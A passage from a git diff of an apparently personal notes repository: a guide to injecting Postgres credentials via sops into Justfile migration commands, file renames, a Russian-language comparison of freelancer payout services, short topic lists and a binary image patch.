+[migrations] +directory = "migrations" +``` + +#### Step C: Update `Justfile` (The Magic) + +We will use `sops exec-env` to inject the `PGPASSWORD` variable into the environment before `reshape` starts. + +**How this works:** +Most Rust database tools (including those using `tokio-postgres` which Reshape likely uses) will look for standard environment variables like `PGPASSWORD` or `PGUSER` if they are missing from the explicit config. + +```just +set dotenv-load + +# Wrapper to run commands with decrypted secrets +with-secrets cmd: + sops exec-env .env.enc "{{cmd}}" + +# --------------------------------------------------------- +# DATABASE MIGRATION COMMANDS (Using Sops) +# --------------------------------------------------------- + +# Init: Starts DB and runs migrations securely +init: up + @echo "Waiting for Postgres..." + @sleep 2 + just migrate + +# Migrate: Injects PGPASSWORD/PGUSER from .env.enc -> reshape +migrate: + @echo "Applying migrations..." + # We explicitly export PGUSER/PGPASSWORD from the Sops env for Reshape + sops exec-env .env.enc -- reshape migrate + +# Create new migration +add name: + reshape migration create {{name}} + +# Undo/Abort +undo: + sops exec-env .env.enc -- reshape migration abort + +# --------------------------------------------------------- +# INFRASTRUCTURE +# --------------------------------------------------------- + +up: + # Docker also needs the secrets to start the container + just with-secrets "docker-compose up -d" + +down: + docker-compose down + +tui: + # Gobang also needs secrets + just with-secrets "gobang -h localhost -p 5432 -d ${POSTGRES_DB}" +``` + +### 3. The "Paranoid" Alternative (Template Rendering) + +If `reshape` (in some specific version) decides to **ignore** environment variables and *strictly* demands a password in `reshape.toml`, the "Solid" pattern is **Config Generation**. + +You would treat `reshape.toml` as a template. + +1. Create `reshape.toml.tmpl` (with placeholders like `${POSTGRES_PASSWORD}`). +2. Add `reshape.toml` to `.gitignore`. +3. Update `Justfile` to render it on the fly: + +```just +# Justfile (Alternative "Template" approach) +migrate: + # 1. Decrypt env + # 2. Use envsubst to replace vars in template -> create real toml + # 3. Run reshape + # 4. Delete real toml (cleanup) + sops exec-env .env.enc -- bash -c "envsubst < reshape.toml.tmpl > reshape.toml && reshape migrate && rm reshape.toml" +``` + +**My Recommendation:** Try the **Environment Variable (Step C)** method first. It is cleaner, standard for "Cloud Native" apps, and doesn't involve creating/deleting temporary files. Only use the Template method if the tool forces you to. \ No newline at end of file diff --git a/10-dev/c/README.md b/20-dev/README.md similarity index 100% rename from 10-dev/c/README.md rename to 20-dev/README.md diff --git a/10-dev/cpp/README.md b/20-dev/c/README.md similarity index 100% rename from 10-dev/cpp/README.md rename to 20-dev/c/README.md diff --git a/10-dev/python/README.md b/20-dev/cpp/README.md similarity index 100% rename from 10-dev/python/README.md rename to 20-dev/cpp/README.md diff --git a/20-dev/python/README.md b/20-dev/python/README.md new file mode 100644 index 0000000..e69de29 diff --git a/2025-11-14.md b/2025-11-14.md new file mode 100644 index 0000000..e69de29 diff --git a/2025-11-22.md b/2025-11-22.md new file mode 100644 index 0000000..e69de29 diff --git a/30-money/Untitled.md b/30-money/Untitled.md new file mode 100644 index 0000000..b0788b6 --- /dev/null +++ b/30-money/Untitled.md @@ -0,0 +1,11 @@ +source craft - Dima +kafka +k8s +clickhouse(?) + +voice2text +rendering +video +video-anal + +rsync \ No newline at end of file diff --git a/30-money/list of companies exchangers.md b/30-money/list of companies exchangers.md new file mode 100644 index 0000000..c5d4b60 --- /dev/null +++ b/30-money/list of companies exchangers.md @@ -0,0 +1,10 @@ + +| | | | | +| ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------- | +| Сервис | Тарифы | Условия | Надёжность | +| EasyStaff | «От 6%» на инвойс-сервисе. Также фиксированная ставка €39 / $42 или тарифы от ~4-10% в зависимости от суммы. | Условия зависят от метода вывода (карта, крипта, SEPA) и объёма. Есть тарифы «фикс» и «%». Не всегда выгодно. | Давно на рынке, удобный сайт, но люди не особо любят за комиссию. | +| Solar Staff | Точных цифр нет; в обзорах упоминают 2,5-3,5% для вывода на карту РФ. | Комиссия для клиента, а не чётко для исполнителя; условия могут отличаться. Не всегда выгодно. | Давно на рынке, удобный сайт, но тоже люди не любят. В первые годы ещё было ОК, а сейчас часто встречаю хейт на Хабре. | +| MoneyPort | Комиссия по индивидуальным условиям без скрытых платежей. Вывод на ИП, но можно и для физлица. Юристы помогают с документами. | Отдельное условия: переводы от 20 минут до 24 часов с гарантией, что деньги отправят надёжным способом. | Высокий класс надёжности, на рынке с 2022 года. | +| Let’s Pay | Комиссия — 4% от суммы инвойса, без комиссий сервиса; конвертация по курсу ЦБ. В обзорах люди упом��нают 9% от выручки за заказ + комиссия биржи. | Есть нюансы: только определённые схемы, через посредников; тарифы могут быть выше. | Не очень гибко. | +| Gtpaid | Комиссия — от 3,5% до ~7,09% за перевод. | Только для ИП/ООО по ИТ-услугам. | Высокая надёжность, но применимо для единиц, для крупных сеньоров. | +| Deel | Нет публичных точных фикс-комиссий для РФ; выводы и комиссии зависят от метода. | Сервис больше ориентирован на компании, чем на единичных фрилансеров из РФ. | Недостаёт точной публичной информации. | diff --git a/40-services/git hostings.md b/40-services/git hostings.md new file mode 100644 index 0000000..04ace3e --- /dev/null +++ b/40-services/git hostings.md @@ -0,0 +1,4 @@ +**Forgejo** + +**Radicle** + diff --git a/Pasted image 20251105170209.png b/Pasted image 20251105170209.png new file mode 100644 index 0000000000000000000000000000000000000000..08653ee5e7bdb6d673098f3373c629adfee3481d GIT binary patch literal 85808 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 